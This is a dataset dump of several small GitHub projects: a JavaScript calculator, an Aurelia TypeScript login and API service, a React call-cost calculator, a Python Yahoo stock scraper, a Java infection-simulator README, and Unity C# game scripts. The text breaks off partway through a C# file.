}\n\n \n override func setSelected(selected: Bool, animated: Bool) {\n super.setSelected(selected, animated: animated)\n\n // Configure the view for the selected state\n }\n \n}\n"},"directory_id":{"kind":"string","value":"146d5cac4c93abfbe686dc6c48820b00401aeae0"},"languages":{"kind":"list like","value":["Markdown","Swift"],"string":"[\n \"Markdown\",\n \"Swift\"\n]"},"num_files":{"kind":"number","value":11,"string":"11"},"repo_language":{"kind":"string","value":"Markdown"},"repo_name":{"kind":"string","value":"a562432988/zxmoa"},"revision_id":{"kind":"string","value":"cf69475b2a18e41f6bcd35a920a31987264b8206"},"snapshot_id":{"kind":"string","value":"edcd3203cc97d7ff57b4d56c5cbc3177ccaea8e0"}}},{"rowIdx":128,"cells":{"branch_name":{"kind":"string","value":"refs/heads/main"},"text":{"kind":"string","value":"iammaria/Calculator/index.html\n\n\n \n \n \n Simple Calculator\n \n \n

Calculator

\n

Put the first number in the field:

\n \n

Put the second number in the field:

\n \n

Choose the operator:

\n \n \n \n

Operation result:

\n

\n \n/README.md\n# Calculator\n\nA basic calculator that can add, subtract, and multiply up to two whole numbers\n/handler.js\nfunction myFunction(clicked_id){\n const errorMessage = 'Please, put only numbers';\n var displayResult = document.getElementById(\"result\");\n var result;\n displayResult.innerText = \"\";\n var num1 = Number(document.getElementById(\"num1\").value);\n var num2 = Number(document.getElementById(\"num2\").value);\n\n if (Number.isNaN(num1) || Number.isNaN(num2)) {\n displayResult.style.color=\"red\";\n displayResult.append(errorMessage);\n return; \n }\n\n // get sum of elements\n if (clicked_id === \"sum\"){\n result = num1 + num2;\n }\n\n // get subtraction of elements\n if (clicked_id === \"substract\"){\n result = num1 - num2;\n }\n\n // get multiplication of elements\n if (clicked_id === \"multiply\"){\n result = num1 * num2;\n }\n\n\n displayResult.append(result);\n}"},"directory_id":{"kind":"string","value":"e5cc0219a2262661e65f231a5833c339a184f81f"},"languages":{"kind":"list like","value":["Markdown","JavaScript","HTML"],"string":"[\n \"Markdown\",\n \"JavaScript\",\n \"HTML\"\n]"},"num_files":{"kind":"number","value":3,"string":"3"},"repo_language":{"kind":"string","value":"HTML"},"repo_name":{"kind":"string","value":"iammaria/Calculator"},"revision_id":{"kind":"string","value":"e94c01f9ccf0615dbf9ac8e0fb76831090710476"},"snapshot_id":{"kind":"string","value":"d5d2aab7a6ca18159ebe7f3836669aa43fc0036e"}}},{"rowIdx":129,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"oliie/aurelia-app/src/App/Views/login.ts\nimport { autoinject } from 'aurelia-framework';\nimport { APIService } from '../Services/APIService';\nimport { Router } from 'aurelia-router';\nimport { Configuration } from '../Configs/configuration';\n\n@autoinject\nexport class Login {\n constructor(\n private API: APIService,\n private router: Router,\n private config: Configuration\n ) { }\n\n username: string = 'kursportal';\n password: string = '';\n\n authorize() {\n return this.API.login(this.username, this.password);\n }\n\n canActivate() {\n let isLoggedIn: boolean = this.API.isTokenValid();\n let stayOnPage: boolean = true;\n\n this.config.isLoggedIn = isLoggedIn;\n isLoggedIn ? this.router.navigate(this.config.landingRoute) : stayOnPage;\n }\n}\n/src/app.ts\nimport { autoinject } from 'aurelia-framework';\nimport { Configuration } from './App/Configs/configuration';\nimport { Router, RouterConfiguration } from 'aurelia-router';\n\n@autoinject\nexport class App {\n constructor(\n private router: Router,\n private config: Configuration\n ) { }\n\n configureRouter(routerConfig: RouterConfiguration, router: Router) {\n routerConfig.title = this.config.projectTitle;\n\n routerConfig.map([\n {\n route: ['', 'login'],\n name: 'login',\n moduleId: 'App/Views/login',\n nav: false,\n title: 'Login'\n }, {\n route: 'welcome',\n name: 'welcome',\n moduleId: 'App/Views/welcome',\n nav: true,\n title: 'Welcome'\n }, {\n route: 'users',\n name: 'users',\n moduleId: 'App/Views/users',\n nav: false,\n title: 'Github Users'\n }, {\n route: 'child-router',\n name: 'child-router',\n moduleId: 'App/Views/child-router',\n nav: true,\n title: 'Child Router'\n }, {\n route: 'custom-form',\n name: 'custom-form',\n moduleId: 'App/Views/custom-form',\n nav: true,\n title: 'Custom Form'\n }\n ]);\n\n this.router = router;\n }\n}\n/src/App/Filters/my-filter.ts\nexport class MyFilterValueConverter {\n toView(value) {\n return value + ' transformed!!!';\n }\n}\n/src/App/Views/custom-form.ts\nimport { autoinject } from 'aurelia-framework';\nimport { Validation } from 'aurelia-validation';\nimport { Configuration } from '../Configs/configuration';\nimport { APIService } from '../Services/APIService';\n\n@autoinject\nexport class CustomForm {\n constructor(\n private config: Configuration,\n private validation: Validation,\n private API: APIService\n ) {\n this.validation.on(this.validateForm)\n .ensure('firstName')\n .hasMinLength(3)\n .isNotEmpty();\n }\n\n firstName: string = 'Oliver';\n lastName: string = 'Praesto';\n\n get fullName(): string {\n return `${this.firstName} ${this.lastName}`;\n }\n\n canActivate() {\n return this.API.isTokenValid();\n }\n\n validateForm(): void {\n if (this.firstName.length !== 2) {\n console.log('Error:', 'First Name not equals to 2 chars');\n } else {\n alert(`Welcome, ${this.fullName}!`);\n }\n }\n}\n/src/App/Configs/configuration.ts\nexport class Configuration {\n projectTitle: string = 'Innorelia';\n baseApiUrl: string = 'http://cinapi.azurewebsites.net/';\n landingRoute: string = 'welcome';\n notAuthorizedRoute: string = 'login';\n\n isLoggedIn: boolean;\n}/src/App/Services/APIService.ts\nimport { autoinject } from 'aurelia-framework';\nimport { HttpClient } from 'aurelia-fetch-client';\nimport { Configuration } from '../Configs/configuration';\nimport { Router } from 'aurelia-router';\n\nexport interface IPutRequest {\n entityName: string;\n entityId: string;\n attributes: any;\n}\n\nexport interface IDeleteRequest {\n entityName: string;\n entityId: string;\n}\n\nexport interface IPostRequest {\n entityName: string;\n attributes: any;\n}\n\n@autoinject\nexport class APIService {\n constructor(\n private http: HttpClient,\n private config: Configuration,\n private router: Router\n ) {\n http.configure(config => {\n config\n .useStandardConfiguration()\n .withBaseUrl(this.config.baseApiUrl);\n });\n }\n\n private get getToken() {\n return sessionStorage.getItem('token');\n }\n\n private headers: any = {\n 'Authorization': `Bearer ${this.getToken}`,\n 'X-Requested-With': 'XMLHttpRequest'\n };\n\n private errorHandler(\n errorMessage: any\n ) {\n return console.error('CUSTOM ERROR:', errorMessage);\n }\n\n private baseApiRequest(\n service: string,\n method: string,\n params: any\n ) {\n return this.http.fetch(service, {\n method: method,\n headers: this.headers,\n body: {\n attributes: params\n }\n })\n .then(response => response.json())\n .catch(this.errorHandler);\n }\n\n private setSessionAndLogin(\n response: any,\n successRoute: string\n ): void {\n sessionStorage.setItem('token', (response).access_token);\n sessionStorage.setItem('session', JSON.stringify(response));\n this.router.navigate(successRoute);\n }\n\n /**\n * Sets token and session in `sessionStorage` and redirects to `successRoute`.\n *\n * @method login\n * @param {string} username CWP Username\n * @param {string} password \n * @param {string} successRoute Route to redirect to after successful login.\n */\n login(\n username: string,\n password: string\n ) {\n return this.http.fetch('token', {\n method: 'POST',\n body: `username=${username}&password=${}&grant_type=password`\n })\n .then(response => response.json())\n .catch(this.errorHandler)\n .then(response => {\n let hasResponse: boolean = !!response;\n this.config.isLoggedIn = hasResponse;\n\n if ( hasResponse ) {\n this.setSessionAndLogin(response, this.config.landingRoute);\n }\n });\n }\n\n /**\n * Returns `true` if token is valid.\n *\n * @method isTokenValid\n */\n isTokenValid() {\n let hasSession: boolean = !!sessionStorage.getItem('session');\n let session: any = hasSession ? JSON.parse(sessionStorage.getItem('session')) : false;\n let now: any = new Date();\n\n if ( hasSession ) {\n let expires: any = new Date(session['.expires']);\n let isTokenValid: boolean = (expires > now);\n\n this.config.isLoggedIn = isTokenValid;\n return (typeof isTokenValid === 'boolean') ? isTokenValid : false;\n }\n\n this.config.isLoggedIn = false;\n return false;\n }\n\n /**\n * Gets JSON data from CWP Feed (XML-based definition)\n *\n * @method get\n * @param {string} feedName Name of CWP Feed\n * @param {any} parameters? Optional parameters to CWP Feed (defined by {querystring:field_name})\n */\n get(\n feedName: string,\n parameters?: any\n ) {\n return this.baseApiRequest(`API/Feed/${feedName}`, 'GET', parameters);\n }\n\n /**\n * Posts data to fields in defined entity. Requires a CWP Policy\n *\n * @method post\n * @param {IPostRequest} parameters { entityName: string, attributes?: { fieldName: value } }\n */\n post(\n parameters: IPostRequest\n ) {\n return this.baseApiRequest(`API/Entity`, 'POST', parameters);\n }\n\n /**\n * Updates data to fields in defined entity. Requires a CWP Policy\n *\n * @method put\n * @param {IPutRequest} parameters { entityName: string, entityId: GUID, attributes: { fieldName: value } }\n */\n put(\n parameters: IPutRequest\n ) {\n return this.baseApiRequest(`API/Entity`, 'PUT', parameters);\n }\n\n /**\n * Delets post. Requires a CWP Policy\n *\n * @method delete\n * @param {IDeleteRequest} parameters { entityName: string, entityId: GUID }\n */\n delete(\n parameters: IDeleteRequest\n ) {\n return this.baseApiRequest(`API/Entity`, 'DELETE', parameters);\n }\n\n /**\n * Special method to communicate with custom plugins.\n *\n * @method action\n * @param {string} pluginName Name of the Plugin. Requires CWP Policy with plugin name as `entity`.\n * @param {any} parameters Object with keys required by plugin.\n */\n action(\n pluginName: string,\n parameters: any\n ) {\n return this.baseApiRequest(`API/Action/${pluginName}`, 'ACTION', parameters);\n }\n}\n/src/App/Views/welcome.ts\nimport { autoinject } from 'aurelia-framework';\nimport { APIService } from '../Services/APIService';\nimport { Configuration } from '../Configs/configuration';\nimport { Router } from 'aurelia-router';\n\n@autoinject\nexport class Welcome {\n\n constructor(\n private API: APIService,\n private config: Configuration,\n private router: Router\n ) { }\n\n heading: string = 'Welcome to the Aurelia Navigation App!';\n firstName: string = 'John';\n user: string = 'oliverpraesto';\n lastName: string = 'Doe';\n previousValue: string = this.fullName;\n alreadyLoggedInRoute: string = this.config.landingRoute;\n\n canActivate() {\n return this.API.isTokenValid();\n }\n\n get fullName() {\n return `${this.firstName} ${this.lastName}`;\n }\n\n submit() {\n this.previousValue = this.fullName;\n alert(`Welcome, ${this.fullName}!`);\n }\n\n canDeactivate() {\n if (this.fullName !== this.previousValue) {\n return confirm('Are you sure you want to leave?');\n }\n }\n}\n/TODO.md\n# Todo\n\n* `[✔]` Create: APIService Class\n * `[✔]` Provide it with CRUD, Action and Login\n* `[✔]` Create: default Login-page\n* Create: DOCUMENTATION.md with default layout and a screenshot\n * `[✔]` Make .bat take a variable for output documentation name\n * `[✔]` Hide the .bat when finished\n * Update template Innofactor-way\n* `[✔]` Create: Yo-Scaffolder (Innorelia?) to:\n * `[✔]` Create Views\n * `[✔]` Prompt for SCSS and Router-setup\n * `[✔]` Create Widgets\n * `[✔]` Prompt if: Views, ViewModel or Both\n * `[✔]` Create Filters\n * Fix scaffold glitch when using `yo` in VS Code\n* `[✔]` Handle: Routing with authentication\n* `[✔]` Add: `canActivate()` with token-check.\n* `[✔]` Configure: TS Lint\n* Create: Bundle/Deploy-script to server\n* Create: Form-sponge for values\n* Create: General and customizable loader for APIService\n* Create: Guide for test-cases. Best practice\n* Add: Meta tag for mobile devices\n* Add: Revision-tags (bundles.js)\n* Move: styles/bundle.css to only dist?\n* Update: Set Require-Auth in App.ts for routes ()\n* Add: Validation (wait for support of validatejs/validation)\n* Add: Animation-CSS (? aurelia-animator-CSS?)\n* Customize: README for this project\n * Installation:\n * Typings\n * NPM\n * JSPM\n * Bower\n * Documentation\n * Yeoman / Yo\n * SCSS + BEM\n * Publishing / Deployment \n * E2E\n * Unit Testing\n * ES Lint and how to \"fix all problems (VS Code)\"\n* Research: MVC5 Aurelia TS instead?\n* Research: Extend .eslint own Global-vars?\n* Email: Karin & Jonas vad webbapplikationen är och varför vi behöver den\n/src/App/Views/child-router.ts\nimport { autoinject } from 'aurelia-framework';\nimport { Router, RouterConfiguration } from 'aurelia-router';\nimport { APIService } from '../Services/APIService';\n\n@autoinject\nexport class ChildRouter {\n heading = 'Child Router';\n router: Router;\n\n constructor(\n private API: APIService\n ) { }\n\n canActivate() {\n return this.API.isTokenValid();\n }\n\n configureRouter(config: RouterConfiguration, router: Router) {\n config.map([\n { route: ['', 'welcome'], name: 'welcome', moduleId: 'App/Views/welcome', nav: true, title: 'Welcome' },\n { route: 'users', name: 'users', moduleId: 'App/Views/users', nav: true, title: 'Github Users' },\n { route: 'child-router', name: 'child-router', moduleId: 'App/Views/child-router', nav: true, title: 'Child Router' },\n { route: 'custom-form', name: 'custom-form', moduleId: 'App/Views/custom-form', nav: true, title: 'Custom Form' }\n ]);\n\n this.router = router;\n }\n}\n/src/App/Filters/github.ts\nexport class GithubValueConverter {\n toView(value) {\n return '@' + value;\n }\n\n fromView(value) {\n return value.replace('@', '');\n }\n}\n/src/App/Widgets/nav-bar.ts\nimport { autoinject, bindable } from 'aurelia-framework';\nimport { Router } from 'aurelia-router';\nimport { Configuration } from '../Configs/configuration';\nimport { APIService } from '../Services/APIService';\n\n@autoinject\nexport class NavBar {\n @bindable router: Router = null;\n\n constructor(\n private API: APIService,\n private config: Configuration\n ) { }\n\n get isLoggedIn(): boolean {\n return this.config.isLoggedIn;\n }\n\n logOut() {\n sessionStorage.clear();\n this.config.isLoggedIn = false;\n this.router.navigate(this.config.notAuthorizedRoute);\n }\n}"},"directory_id":{"kind":"string","value":"4a06d1208a0daeabf2e1560dc327d9e3621a87f2"},"languages":{"kind":"list like","value":["Markdown","TypeScript"],"string":"[\n \"Markdown\",\n \"TypeScript\"\n]"},"num_files":{"kind":"number","value":11,"string":"11"},"repo_language":{"kind":"string","value":"TypeScript"},"repo_name":{"kind":"string","value":"oliie/aurelia-app"},"revision_id":{"kind":"string","value":"cb1660f46aae8f77dd6418a1a259fe4e3cf29550"},"snapshot_id":{"kind":"string","value":"9d157ad19d40021ee71d74dfeccd0f323e239621"}}},{"rowIdx":130,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"import React, { useState } from 'react';\nimport './Home.css'\n\n\nfunction Home() {\n\n const [ligacao, setLigacao] = useState({})\n const [selectValues, setSelectValues] = useState(['016', '017', '018'])\n\n function calculaValores() {\n let tempoMinutos = document.getElementById('minutos').value\n let dddO = document.getElementsByName('dddO')\n let dddD = document.getElementsByName('dddD')\n let planos = document.getElementsByName('plano')\n\n let valorDddOrigem\n\n dddO.forEach(function (ddd) {\n if (ddd.selected)\n valorDddOrigem = ddd.value\n })\n\n let valorDddDestino\n\n dddD.forEach(function (ddd) {\n if (ddd.selected)\n valorDddDestino = ddd.value\n })\n\n let valorPlano\n\n planos.forEach(function (p) {\n if (p.selected)\n valorPlano = p.value\n })\n\n if (tempoMinutos === '')\n tempoMinutos = '0'\n\n\n\n var valorTarifa = calculaValorTarifa(valorDddOrigem, valorDddDestino)\n calculaValorLigacao(tempoMinutos, valorTarifa, valorPlano)\n }\n\n\n\n\n function calculaValorTarifa(dddOrigem, dddDestino) {\n var valorTarifa\n switch (dddOrigem) {\n case '011':\n if (dddDestino === '016')\n valorTarifa = 1.90\n else if (dddDestino === '017')\n valorTarifa = 1.70\n else if (dddDestino === '018')\n valorTarifa = 0.90\n else if (dddDestino === '011')\n valorTarifa = 1\n break;\n case '016':\n valorTarifa = 2.90\n break;\n case '017':\n valorTarifa = 2.70\n break;\n case '018':\n valorTarifa = 1.90\n break;\n default:\n valorTarifa = 1\n break;\n }\n\n return valorTarifa\n }\n\n async function calculaValorLigacao(minutos, tarifa, plano) {\n var valorMinutos = parseFloat(minutos)\n var valorPlano = parseFloat(plano)\n var valorLigacao = {\n comPlano: 0.00,\n semPlano: 0.00,\n economia: 0.00\n }\n\n if (plano === 'nenhum') {\n valorLigacao.comPlano = (valorMinutos * tarifa).toFixed(2)\n valorLigacao.semPlano = (valorMinutos * tarifa).toFixed(2)\n }\n else {\n valorLigacao.semPlano = (valorMinutos * tarifa).toFixed(2)\n if (valorMinutos <= valorPlano)\n valorLigacao.comPlano = 0.00\n else\n valorLigacao.comPlano = ((valorMinutos - valorPlano) * (tarifa * 1.1)).toFixed(2)\n }\n\n valorLigacao.economia = (valorLigacao.semPlano - valorLigacao.comPlano).toFixed(2)\n\n setLigacao(valorLigacao)\n }\n\n async function valueSelectChange(e) {\n var ddd = document.getElementsByName('dddO')\n var selected\n ddd.forEach((valor) => {\n if (valor.selected)\n selected = valor.value\n })\n\n if (selected !== '011')\n setSelectValues(['011'])\n else\n setSelectValues(['016', '017', '018'])\n console.log(selectValues)\n }\n\n\n return (\n <>\n\n

Aqui você pode calcular o valor das suas ligações e descobrir o quanto vai economizar com nossos planos.

\n
\n
\n \n \n
\n
\n
\n \n \n
\n
\n
\n \n \n
\n
\n
\n \n \n
\n \n
\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
Com Fale MaisSem Fale MaisVocê economiza
R${ligacao.comPlano}R${ligacao.semPlano}R${ligacao.economia}
\n
\n \n )\n}\n\nexport default Home## TelZir\n A aplicação foi feita utilizando HTML, CSS, Javascript e React.js apenas.\n A mesma tem como finalidade informar o custo de uma ligação com e sem os planos Fale Mais, bem como o valor que o cliente vai economizar com o plano. O calculo é feito com base nas informações inseridas pelo usuário nos campos demarcados, como DDD de origem, DDD de destino, duração da chamada e o plano que o cliente possui.\n\n## Validação dos valores nos inputs\n O cálculo da tarifa segundo os DDDs de origem e destino tem como base a tabela, retirada do PDF do desafio\n \n Origem Destino $/min\n 011 016 1.90\n 016 011 2.90\n 011 017 1.70\n 017 011 2.70\n 011 018 0.90\n 018 011 1.90 \n\n Segundo a tabela, se o DDD de origem for 011, o DDD de destino pode ser 016, 017 e 018.\n Se o DDD de origem for 016, 017 ou 018, o DDD de destino só poderá ser 011\n\n Os planos ofertados para os clientes são: Fale Mais 30, Fale Mais 60 e Fale Mais 120.\n\n## Testes com valores esperados\n O site por sí só já não permite ao usuário inserir tipos incorretos de dados nos inputs.\n\n Alguns testes podem ser feitos utilizando os valores indicados e a resposta deverá ser a mesma presente na tabela:\n\n Origem Destino Plano Tempo Com Fale Mais Sem Fale Mais Economia\n 011 016 FaleMais 30 20 R$ 0,00 R$ 38,00 R$ 38,00\n 011 017 FaleMais 60 80 R$ 37,40 R$ 136,00 R$ 98,60\n 018 011 FaleMais 120 220 R$ 167,20 R$ 380,00 R$ 212,80\n 011 016 FaleMais 30 30 R$ 0,00 R$ 57,00 R$ 57,00 \n 016 011 FaleMais 120 0 R$ 0,00 R$ 0,00 R$ 0,00\n 018 011 Não tenho plano 37 R$ 51,30 R$ 51,30 R$ 0,00\n"},"directory_id":{"kind":"string","value":"c31b3bc623218156c23c12f3071a057548e9842b"},"languages":{"kind":"list like","value":["JavaScript","Markdown"],"string":"[\n \"JavaScript\",\n \"Markdown\"\n]"},"num_files":{"kind":"number","value":2,"string":"2"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"LucasMtss/telzir"},"revision_id":{"kind":"string","value":"bf45f2ecc5e9f4cc265b0007995fa65436d736d6"},"snapshot_id":{"kind":"string","value":"f64bac5b2d9e6eb1f9b92f61db3a01616fae30a5"}}},{"rowIdx":131,"cells":{"branch_name":{"kind":"string","value":"refs/heads/main"},"text":{"kind":"string","value":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\ndef name_price(url):\n resp=requests.get(url)\n \n #print(resp) response 200代表連接成功\n #print(resp.text) 以文字檔形式呈現網頁原代碼\n \n html=resp.content.decode(\"utf-8\")\n #print(html) 解碼之後列印整張網頁\n \n soup=BeautifulSoup(html,\"html.parser\")\n #print(soup)\n \n div_names=soup.find_all(\"div\",\"span\",class_=\"Lh(20px) Fw(600) Fz(16px) Ell\")\n div_prices=soup.find_all(\"div\",\"span\",class_=\"Fxg(1) Fxs(1) Fxb(0%) Ta(end) Mend($m-table-cell-space) Mend(0):lc Miw(90px)\")\n #print(div_names)\n \n stocks_name=[]\n for name in div_names:\n stock_name= name.text.split()\n #print(stock_name)\n stocks_name.append(stock_name)\n #print(stocks_name)\n #print(len(stocks_name))\n \n\n\n stocks_price=[]\n for price in div_prices[1:]:\n stock_price=price.text.split()\n stocks_price.append(stock_price)\n #print(stocks_price)\n #print(len(stocks_price))\n \n \n\n _data=pd.DataFrame()\n _data['股名/股號']=stocks_name\n _data['股價']=stocks_price\n \n return _data\n \n\n\nstock=name_price(\"https://tw.stock.yahoo.com/world-indices\")\nstock.to_csv('yahoo_stock',encoding='utf-8')\n# Web Crawler\n## Yahoo股市 國際指數 股價\n\n## 爬蟲語言&模組\n\n- 語言:Python\n- 爬蟲模組:requests,BeautifulSoup\n- 資料處理模組:pandas\n\"cover\"\n\n## 主要功能\n\n- 利用爬蟲快速得到網頁資料。\n- 利用class節點過濾資料精準得到所需欄位。\n- 最後匯出一個csv檔\n\n\n## 目標網站畫面截圖\n- 目標網站:https://tw.stock.yahoo.com/world-indices (數值隨著股價變動而更改)\n\n\"cover\" \"cover\"\n\n\n## cvs檔案畫面截圖\n\"Cover\"\n\n\n## 開發環境\n\n- Spyder\n- Python\n\n\n## 專案開發人員\n\n> [](https://github.com/Chrislo-coding)\n"},"directory_id":{"kind":"string","value":"65875b6c56b9842137beab41135916fe733daa4c"},"languages":{"kind":"list like","value":["Markdown","Python"],"string":"[\n \"Markdown\",\n \"Python\"\n]"},"num_files":{"kind":"number","value":2,"string":"2"},"repo_language":{"kind":"string","value":"Python"},"repo_name":{"kind":"string","value":"chrislo-coding/Yahoo-world-indices"},"revision_id":{"kind":"string","value":"30870c61dc76f6a46cee7bfd02786bf422a52e63"},"snapshot_id":{"kind":"string","value":"a2c876ad6bcb1f53e3085c6a5e3d32812056a01f"}}},{"rowIdx":132,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"Larkoss/Covid19-Simulator/src/team6/hw6/NormalPerson.java\npackage team6.hw6;\n\n/**\n * A class representing a Normal person\n *\n * @author \n * @author \n */\npublic class NormalPerson extends Person {\n\t{\n\t\ttype = \"Normal\";\n\t}\n\n\t/**\n\t * Class constructor specifying x and y\n\t * \n\t * @param x the double X position\n\t * @param y the double Y position\n\t */\n\tpublic NormalPerson(int x, int y, char grid) {\n\t\tsuper(x, y, grid, 0.7, 0.66);\n\t}\n}\n/README.md\n# Homework 6 for Epl133\n## By and \n\nThis is a program for simulating infections, with communities.\n\n## People\nThere are 4 kinds of people in this program.\n1. Boomers, old people. \n ![Boomer](./Boomer.png) \n2. Careful people. \n ![Careful](./Careful.png) \n3. Normal people. \n ![Normal](./Normal.png) \n4. Immune people. \n ![Immune](./Immune.png) \n\n## Grids\nThere are 3 grids representing 3 seperate communities. They can be distinguished\nin the StdDraw window by their slight differences in dimensions.\n- The first one has less columns(fatter cells and people).\n- The second one has as many columns as rows(square cells and people).\n- The third one has less rows(taller cell and people).\n\nThe simulation shows 5 steps for each community and then switches to the next\none. Think of it like person in a control room with a single screen that\nswitches through 3 cameras. Each time 5 steps of a community are shown the same\n5 steps for the other 2 communities are also executed behind the scenes but not\nshown.\n\n## Cells\n- Orange cells are infected cells.\n- White cells are normal non infected cells.\n- Green cells are airport cells.\n\n## Invariants\n1. All probabilities are between 0 and 1 including those 2 values.\n2. Vulnerabilities of people Boomer > Normal > Careful > Immune = 0.\n3. Immune people can't get infected.\n4. People can move in all direction(including diagonally) but only by one step.\n5. Mobility of people Immune > Normal = Careful > Boomer.\n6. People can't get out of the grid but if they try to in an \"airport\" cell they\n will get transported to the next community(assuming it's not full).\n7. People can only get transported to the next community if conditions for 6 are\n met.\n8. People will not get infected if they don't have infected neighbours and don't stand on infected cell.\n9. There are only three communities with dimensions of 15x10, 12x12 and 10x15.\n"},"directory_id":{"kind":"string","value":"c038a178e385bbb89725bf6dd2055dc01c4fa517"},"languages":{"kind":"list like","value":["Markdown","Java"],"string":"[\n \"Markdown\",\n \"Java\"\n]"},"num_files":{"kind":"number","value":2,"string":"2"},"repo_language":{"kind":"string","value":"Java"},"repo_name":{"kind":"string","value":"Larkoss/Covid19-Simulator"},"revision_id":{"kind":"string","value":"9e31a1e50a5bd4cdabba612c817810b3fe35eb2c"},"snapshot_id":{"kind":"string","value":"bd753f668f861b3bcafe599e36eb9b4e709b36bb"}}},{"rowIdx":133,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"Kindraman/Ku/Assets/Scripts/Game/Bow.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class Bow : MonoBehaviour {\n\n\tpublic GameObject arrowPrefab;\n //public Transform arrowPos;\n\t// Use this for initialization\n\tvoid Start () {\n\t\t\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\t\n\t}\n\n\tpublic void Attack(){\n var a = Instantiate (arrowPrefab);\n\t\ta.transform.position = transform.position + transform.forward;\n\t\ta.transform.rotation = transform.rotation;\n\n\t}\n}\n/Library/Collab/Download/Assets/loadGameManager.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\n\npublic class loadGameManager : MonoBehaviour {\n\n public GameObject[] partida;\n public SQLCommands bdein;\n\t// Use this for initialization\n\tvoid Start () {\n //establecer conexión a la base de datos y preguntar por todas las partidas (3 max)\n foreach(DbPartidas db in bdein.dbPartidas){\n Debug.Log(\"Something\");\n }\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\t\n\t}\n}\n/Assets/Scripts/Game/StrongEnemy.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class StrongEnemy : Enemy {\n\n\t// Use this for initialization\n\tvoid Start () {\n\t\thealth = 10;\n\t\tdmg = 2;\n\t}\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\t\t\n\t}\n\n\tpublic override void Hit ()\n\t{\n\t\tbase.Hit ();\n\t\tthis.health--;\n\t\tDebug.Log (\"Ouch!\");\n\t\tif (health <= 0) {\n\t\t\tDestroy (gameObject);\n\t\t}\n\t}\n}\n/Assets/Scripts/Game/SceneController.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\nusing UnityEngine.UI;\nusing System;\n\npublic class SceneController : MonoBehaviour {\n\n\n\t[Header(\"Game\")]\n public Player_FPS player;\n public GameObject gameMenu;\n public GameObject gameOver;\n\n [Header(\"UI\")]\n\tpublic GameObject[] hearts;\n\tpublic Text arrowText;\n\tpublic Text bombText;\n public Text expText;\n\n \n\n\t// Use this for initialization\n\tvoid Start () {\n //gameMenu.SetActive(false);\n \n \n\n\n /* if (!player)\n {\n player = GameObject.FindWithTag(\"Player\").GetComponent();\n if (GameObject.FindGameObjectWithTag(\"loadedData\").GetComponent())\n { //si encuentra el objetop\n //Debug.Log(\"He podido encontrar la data guardada: \" + data.nombrePartida);\n // player\n player.loadData(GameObject.FindGameObjectWithTag(\"loadedData\").GetComponent());\n\n }\n }\n else\n {\n if (GameObject.FindGameObjectWithTag(\"loadedData\").GetComponent())\n { //si encuentra el objetop\n //Debug.Log(\"He podido encontrar la data guardada: \" + data.nombrePartida);\n // player\n player.loadData(GameObject.FindGameObjectWithTag(\"loadedData\").GetComponent());\n\n }\n }*/\n\n\n\n\n\n }\n\t\n\t// Update is called once per frame\n\tvoid Update () {\n\n\t\tif(player != null){\n\t\t\t\n\t\t\tfor(int i=0;i/Library/Collab/Download/Assets/Scripts/Menu/MenuSceneManager.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\nusing UnityEngine.SceneManagement;\n\npublic class MenuSceneManager : MonoBehaviour {\n\n\t// Use this for initialization\n\tpublic void newGame () {\n\t\tSceneManager.LoadScene(\"ZendaGame\");\n\t}\n\n public void loadGame(){\n SceneManager.LoadScene(\"LoadGame\");\n }\n\n public void mainMenu(){\n SceneManager.LoadScene(\"MainMenu\");\n }\n\n public void testing(){\n Debug.Log(\"works\");\n }\n\t\n\t\n}\n/Assets/Scripts/Db/dataManager.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic abstract class dataManager : MonoBehaviour\n{\n protected DbPartidas dbp;\n\n public void setUp(){\n if (GameObject.FindGameObjectWithTag(\"loadedData\"))\n { //esto va para el script padre loaderData\n dbp = GameObject.FindGameObjectWithTag(\"loadedData\").GetComponent();\n // player.loadData(dbp); //no es el player el que carga sus datos si no el \"loaderDataPlayer\":loaderData\n }\n }\n\n public abstract void saveHelper();\n public abstract void loadHelper();\n}\n/Assets/Scripts/Game/Enemy.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\npublic class Enemy : MonoBehaviour {\n\n\tprotected int health;\n\tpublic int dmg;\n\t//public GameObject enemyWeakPoint;\n\tpublic virtual void Hit(){}\n\n\tpublic void OnTriggerEnter(Collider col){\n\t\tif (col.tag == \"Sword\") {\n\t\t\tif(col.GetComponent() != null && col.GetComponent().IsAttacking){\n\t\t\t\tHit ();\n\t\t\t}\n\t\t\t\n\t\t} else if (col.tag == \"Arrow\") {\n\t\t\tHit ();\n\t\t\tDestroy (col.gameObject);\n\t\t}\n\n\t}\n}\n/Assets/Scripts/Menu/SQLCommands.cs\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\n\nusing System.Data; //lib 1 BD\nusing System.IO; //lib 2 BD\nusing Mono.Data.Sqlite; //lib 3 BD\nusing System; //lib 4 BD (util)\n\npublic class SQLCommands : MonoBehaviour {\n\n string rutaDb;\n string strConexion;\n string DbFileName = \"manu2.db\";\n //string sqlQuery;\n\n IDbConnection dbConnection;\n IDbCommand dbCommand;\n IDataReader dataReader;\n\n //public DbPartidas[] dbPartidas;\n //public List dbPartidas;\n //public loaderGame lg;\n //IData\n\n //for this instance:\n private string col1 = \"id\", col2 = \"nombrePartida\", col3 = \"statePlayer\", col4 = \"fecha\";\n private string values = \"\";\n\n public void loadingGame(){\n abrirDb();\n\n simple_select(\"partidas\", \"*\");\n //lg.UILogicOn();\n\n cerrarDb();\n\n }\n\n void 